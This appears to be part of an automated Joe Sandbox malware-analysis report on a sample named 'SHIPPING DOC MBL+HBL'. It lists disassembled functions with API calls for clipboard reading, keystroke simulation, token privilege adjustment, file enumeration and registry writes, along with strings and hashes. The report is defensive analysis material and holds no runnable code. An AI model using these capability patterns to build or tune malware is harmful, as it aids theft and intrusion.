Function 00E400DE Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00E400EA

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 07aba6574832283db518e8b17cf78a67b70f395c6eb7810e1ab0fd3f75d92616
Instruction ID: 132bc56388db2e885cc9ec041899e93cc66a89f24526ef8dcd1850eb88e57fe8
Opcode Fuzzy Hash: 07aba6574832283db518e8b17cf78a67b70f395c6eb7810e1ab0fd3f75d92616
Instruction Fuzzy Hash: 0C214470508301CFDB14DF14C444A5ABBE0BF88318F08996CE99A677A2C731E886CB92

Function 00E07F41 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E07F82

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 1c38cca95f6358379de2d9c40b720d035e2a3922818e7d4ef8cb35a2f7d1b5e5
Instruction ID: 104f999549d5e261e7272af8392a3e55114e1ab296392ae22705e6985965ea02
Opcode Fuzzy Hash: 1c38cca95f6358379de2d9c40b720d035e2a3922818e7d4ef8cb35a2f7d1b5e5
Instruction Fuzzy Hash: 7901D6B27047167ED7209F28DC02E67BBE49B44760F14852EF65ADA1D1EA31E4408B50

Function 00E249D3 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00E24A16

Part of subcall function 00E28CA8: __getptd_noexit.LIBCMT ref: 00E28CA8

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 18e06d5c259b7e30c23976da6914889891ebbe7e4af1de487d6a0bfbd75d0292
Instruction ID: 055c143feb0f07c9f7139f69569c56aa25db0907b5e0ac77242f4aa4f4f9e15c
Opcode Fuzzy Hash: 18e06d5c259b7e30c23976da6914889891ebbe7e4af1de487d6a0bfbd75d0292
Instruction Fuzzy Hash: 54F0C2F1941269EBDF11AF74AD063EF76E1AF00325F04A514F424BA1D2EBB88A11DF91

Function 00E04FAA Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00EC52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00E04FDE

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d2e1ece1e17410e5dbe4611b930009e3d3615f73c9fc4d900a4dc63181d48711
Instruction ID: 1621518f75eaa6373fb143d6d4352cc1d7a3a20f3b4e23c906056c0a3814057c
Opcode Fuzzy Hash: d2e1ece1e17410e5dbe4611b930009e3d3615f73c9fc4d900a4dc63181d48711
Instruction Fuzzy Hash: 0CF030F1205712CFC7349F64E694852BBE2AF04329324AA3EE2D6A2690C731A884DF40

Function 00E20911 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00E20930

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: aac691d1be95fa888a781df8de493e4b2c77a9e4994cfc4e68820109eccd75bc
Instruction ID: 92a15943cbd6aefe05d134dabcbdb2bae7b11b31f0923f3a7fc418cf2ee1a166
Opcode Fuzzy Hash: aac691d1be95fa888a781df8de493e4b2c77a9e4994cfc4e68820109eccd75bc
Instruction Fuzzy Hash: 8AE0CD369051285BC720D6589C05FFA77EDDFC9791F0501F5FC4CE7254D9606C818690

Function 00E253CB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00E253D6

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: fe25a015c09ed39c2421ffc0bf96733de6104c05132b4a51fb3d8a0a49dc2186
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: DDB0927644020C77CE012A82FC02A593B999B507A4F409020FF0C281A2A6B3A6609689

Function 00FE9A88 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00FE9A99

Memory Dump Source

Source File: 00000000.00000002.1711546126.0000000000FE7000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FE7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe7000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 2fe3ea6d4d003c82fe3702f14950a4f1e68ef175fcb8c6124092d23abde946d4
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: E6E0E67494410DDFDB00DFB4D54969D7BF4EF04701F100165FD01D2280D7709D509A72

Non-executed Functions

Function 00E8CB26 Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00E02612: GetWindowLongW.USER32(?,000000EB), ref: 00E02623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00E8CBA1
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00E8CBFF
GetWindowLongW.USER32(?,000000F0), ref: 00E8CC40
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00E8CC6A
SendMessageW.USER32 ref: 00E8CC93
_wcsncpy.LIBCMT ref: 00E8CCFF
GetKeyState.USER32(00000011), ref: 00E8CD20
GetKeyState.USER32(00000009), ref: 00E8CD2D
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00E8CD43
GetKeyState.USER32(00000010), ref: 00E8CD4D
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00E8CD76
SendMessageW.USER32 ref: 00E8CD9D
SendMessageW.USER32(?,00001030,?,00E8B37C), ref: 00E8CEA1
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00E8CEB7
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00E8CECA
SetCapture.USER32(?), ref: 00E8CED3
ClientToScreen.USER32(?,?), ref: 00E8CF38
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00E8CF45
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00E8CF5F
ReleaseCapture.USER32 ref: 00E8CF6A
GetCursorPos.USER32(?), ref: 00E8CFA4
ScreenToClient.USER32(?,?), ref: 00E8CFB1
SendMessageW.USER32(?,00001012,00000000,?), ref: 00E8D00D
SendMessageW.USER32 ref: 00E8D03B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00E8D078
SendMessageW.USER32 ref: 00E8D0A7
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00E8D0C8
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00E8D0D7
GetCursorPos.USER32(?), ref: 00E8D0F7
ScreenToClient.USER32(?,?), ref: 00E8D104
GetParent.USER32(?), ref: 00E8D124
SendMessageW.USER32(?,00001012,00000000,?), ref: 00E8D18D
SendMessageW.USER32 ref: 00E8D1BE
ClientToScreen.USER32(?,?), ref: 00E8D21C
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00E8D24C
SendMessageW.USER32(?,00001111,00000000,?), ref: 00E8D276
SendMessageW.USER32 ref: 00E8D299
ClientToScreen.USER32(?,?), ref: 00E8D2EB
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00E8D31F

Part of subcall function 00E025DB: GetWindowLongW.USER32(?,000000EB), ref: 00E025EC

GetWindowLongW.USER32(?,000000F0), ref: 00E8D3BB

Strings

@GUI_DRAGID, xrefs: 00E8CF06
pb, xrefs: 00E8CF19
F, xrefs: 00E8D29F

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F$pb
API String ID: 3977979337-96320988
Opcode ID: d65dda0cd0064f8b19be68387ec1de8467a7807e7e82bbd6f9de74192fdefb95
Instruction ID: 98d82fab6efabe913a8ca5330e5ff64a7809ae99b273a9a6a76386aecdd8f174
Opcode Fuzzy Hash: d65dda0cd0064f8b19be68387ec1de8467a7807e7e82bbd6f9de74192fdefb95
Instruction Fuzzy Hash: 2542A0312046019FD724EF24C844E9ABBE5FF4A314F241A29F55DB72A1D732EC49DBA2

Function 00E170FE Relevance: 54.0, APIs: 19, Strings: 9, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E17323
_memset.LIBCMT ref: 00E17699
_memmove.LIBCMT ref: 00E1780C

Strings

Oa, xrefs: 00E52721
P\, xrefs: 00E51E0E
Q\E, xrefs: 00E1812B
DEFINE, xrefs: 00E52459
\b(?=\w), xrefs: 00E53ABF
[:>:]], xrefs: 00E175F2
[:<:]], xrefs: 00E175D9
\b(?<=\w), xrefs: 00E53AC9
], xrefs: 00E51D78

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove$_memset
String ID: ]$DEFINE$Oa$P\$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-1126055449
Opcode ID: 3a56e71ffb2234701189b24202c54ce89c794fb2bc1be2cb9c91e30c1f92bb42
Instruction ID: defdfc85fda3734778913614562e6274f97fc6d1b8d8b9415bd40833d4005eac
Opcode Fuzzy Hash: 3a56e71ffb2234701189b24202c54ce89c794fb2bc1be2cb9c91e30c1f92bb42
Instruction Fuzzy Hash: 0993D071A00219DBDB24CFA8C881BEDB7B1FF48715F24956AED55BB280E7709E85CB40

Function 00E04A35 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 00E04A3D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00E3D9BE
IsIconic.USER32(?), ref: 00E3D9C7
ShowWindow.USER32(?,00000009), ref: 00E3D9D4
SetForegroundWindow.USER32(?), ref: 00E3D9DE
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00E3D9F4
GetCurrentThreadId.KERNEL32 ref: 00E3D9FB
GetWindowThreadProcessId.USER32(?,00000000), ref: 00E3DA07
AttachThreadInput.USER32(?,00000000,00000001), ref: 00E3DA18
AttachThreadInput.USER32(?,00000000,00000001), ref: 00E3DA20
AttachThreadInput.USER32(00000000,?,00000001), ref: 00E3DA28
SetForegroundWindow.USER32(?), ref: 00E3DA2B
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E3DA40
keybd_event.USER32(00000012,00000000), ref: 00E3DA4B
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E3DA55
keybd_event.USER32(00000012,00000000), ref: 00E3DA5A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E3DA63
keybd_event.USER32(00000012,00000000), ref: 00E3DA68
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E3DA72
keybd_event.USER32(00000012,00000000), ref: 00E3DA77
SetForegroundWindow.USER32(?), ref: 00E3DA7A
AttachThreadInput.USER32(?,?,00000000), ref: 00E3DAA1

Strings

Shell_TrayWnd, xrefs: 00E3D9B9

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: b4a70b1bbc4285f660fbe6df8cda50765b754554f1827fd9ad8318ac403d2759
Instruction ID: b35a853e4928d6fd2bdce543821cade4b184d17042184788c244150614e2e755
Opcode Fuzzy Hash: b4a70b1bbc4285f660fbe6df8cda50765b754554f1827fd9ad8318ac403d2759
Instruction Fuzzy Hash: 10315271A44318BEEB216F629C49F7E7E6CEB44B50F104025FA08FA1D1D6B05D51EBA0

Function 00E58638 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00E58AA3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00E58AED
Part of subcall function 00E58AA3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00E58B1A
Part of subcall function 00E58AA3: GetLastError.KERNEL32 ref: 00E58B27

_memset.LIBCMT ref: 00E5867B
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00E586CD
CloseHandle.KERNEL32(?), ref: 00E586DE
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00E586F5
GetProcessWindowStation.USER32 ref: 00E5870E
SetProcessWindowStation.USER32(00000000), ref: 00E58718
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00E58732

Part of subcall function 00E584F3: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00E58631), ref: 00E58508
Part of subcall function 00E584F3: CloseHandle.KERNEL32(?,?,00E58631), ref: 00E5851A

Strings

winsta0, xrefs: 00E586F0
default, xrefs: 00E5872D
, xrefs: 00E5868A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 91b3257844ed667c0e45a26d778a0cb54184f75ce0f54b0a759c6d961da38a99
Instruction ID: 24cd530df2333661b45f7016066404fca1ce0fc28d8688d4b48bb482d8d51e41
Opcode Fuzzy Hash: 91b3257844ed667c0e45a26d778a0cb54184f75ce0f54b0a759c6d961da38a99
Instruction Fuzzy Hash: 3781AB71900209AFDF159FA1DE45AEE7BB8EF0830AF445529FD18B6161DB318E18DB60

Function 00E7407C Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00E8F910), ref: 00E740A6
IsClipboardFormatAvailable.USER32(0000000D), ref: 00E740B4
GetClipboardData.USER32(0000000D), ref: 00E740BC
CloseClipboard.USER32 ref: 00E740C8
GlobalLock.KERNEL32(00000000), ref: 00E740E4
CloseClipboard.USER32 ref: 00E740EE
GlobalUnlock.KERNEL32(00000000), ref: 00E74103
IsClipboardFormatAvailable.USER32(00000001), ref: 00E74110
GetClipboardData.USER32(00000001), ref: 00E74118
GlobalLock.KERNEL32(00000000), ref: 00E74125
GlobalUnlock.KERNEL32(00000000), ref: 00E74159
CloseClipboard.USER32 ref: 00E74269

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: bf78a3581005d9f6fc4334e8ed49fab5a9bcc5442817db501f8995726e14a611
Instruction ID: 0d7a8fa783af089ab56dca3cee15654bd52ae96f194b87a9df8b3c62cb5a5b0c
Opcode Fuzzy Hash: bf78a3581005d9f6fc4334e8ed49fab5a9bcc5442817db501f8995726e14a611
Instruction Fuzzy Hash: 70519D75204302AFD311BF61DC95F6A77A8AF84B00F109629F55AF21F2DF70D9498BA2

Function 00E6C7E8 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00E6C819
FindClose.KERNEL32(00000000), ref: 00E6C86D
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00E6C892
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00E6C8A9
FileTimeToSystemTime.KERNEL32(?,?), ref: 00E6C8D0
__swprintf.LIBCMT ref: 00E6C91C
__swprintf.LIBCMT ref: 00E6C95F

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

__swprintf.LIBCMT ref: 00E6C9B3

Part of subcall function 00E23818: __woutput_l.LIBCMT ref: 00E23871

__swprintf.LIBCMT ref: 00E6CA01

Part of subcall function 00E23818: __flsbuf.LIBCMT ref: 00E23893
Part of subcall function 00E23818: __flsbuf.LIBCMT ref: 00E238AB

__swprintf.LIBCMT ref: 00E6CA50
__swprintf.LIBCMT ref: 00E6CA9F
__swprintf.LIBCMT ref: 00E6CAEE

Strings

%4d, xrefs: 00E6C959
%4d%02d%02d%02d%02d%02d, xrefs: 00E6C916
%02d, xrefs: 00E6C9A7, 00E6C9B1, 00E6C9FF, 00E6CA4E, 00E6CA9D, 00E6CAEC

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 810de4e2259a7bdf34525ecdd1a8e3db45e52691cc8904a64349154dd78fa716
Instruction ID: 931a41180cfbb3caa072203c8527c33097490b444ca3a9873dcc3cc54ccb5d7b
Opcode Fuzzy Hash: 810de4e2259a7bdf34525ecdd1a8e3db45e52691cc8904a64349154dd78fa716
Instruction Fuzzy Hash: CCA15EB2508305ABC714EF64D886DAFB3ECEF94700F405919F585E7192EB34EA48CB62

Function 00E6F021 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00E6F042
_wcscmp.LIBCMT ref: 00E6F057
_wcscmp.LIBCMT ref: 00E6F06E
GetFileAttributesW.KERNEL32(?), ref: 00E6F080
SetFileAttributesW.KERNEL32(?,?), ref: 00E6F09A
FindNextFileW.KERNEL32(00000000,?), ref: 00E6F0B2
FindClose.KERNEL32(00000000), ref: 00E6F0BD
FindFirstFileW.KERNEL32(*.*,?), ref: 00E6F0D9
_wcscmp.LIBCMT ref: 00E6F100
_wcscmp.LIBCMT ref: 00E6F117
SetCurrentDirectoryW.KERNEL32(?), ref: 00E6F129
SetCurrentDirectoryW.KERNEL32(00EB8920), ref: 00E6F147
FindNextFileW.KERNEL32(00000000,00000010), ref: 00E6F151
FindClose.KERNEL32(00000000), ref: 00E6F15E
FindClose.KERNEL32(00000000), ref: 00E6F170

Strings

*.*, xrefs: 00E6F0D4

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 2330388e521edb1de0076cb0beb3b408be4da281b2784fa3ce239eda8d45b836
Instruction ID: b8bf965d74d6df54a5b2b030e6f17d659f37e00b355fcbb835b67ef9db0ccc94
Opcode Fuzzy Hash: 2330388e521edb1de0076cb0beb3b408be4da281b2784fa3ce239eda8d45b836
Instruction Fuzzy Hash: D431F332541219AEDF10EFB0FC59AEE77AC9F493A4F101175E808F21A2DB30DA49CB64

Function 00E808E2 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E809DE
RegCreateKeyExW.ADVAPI32(?,?,00000000,00E8F910,00000000,?,00000000,?,?), ref: 00E80A4C
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00E80A94
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00E80B1D
RegCloseKey.ADVAPI32(?), ref: 00E80E3D
RegCloseKey.ADVAPI32(00000000), ref: 00E80E4A

Strings

REG_SZ, xrefs: 00E80B5B
REG_QWORD, xrefs: 00E80D8B
REG_DWORD, xrefs: 00E80D0E
REG_MULTI_SZ, xrefs: 00E80C05
REG_EXPAND_SZ, xrefs: 00E80ABA
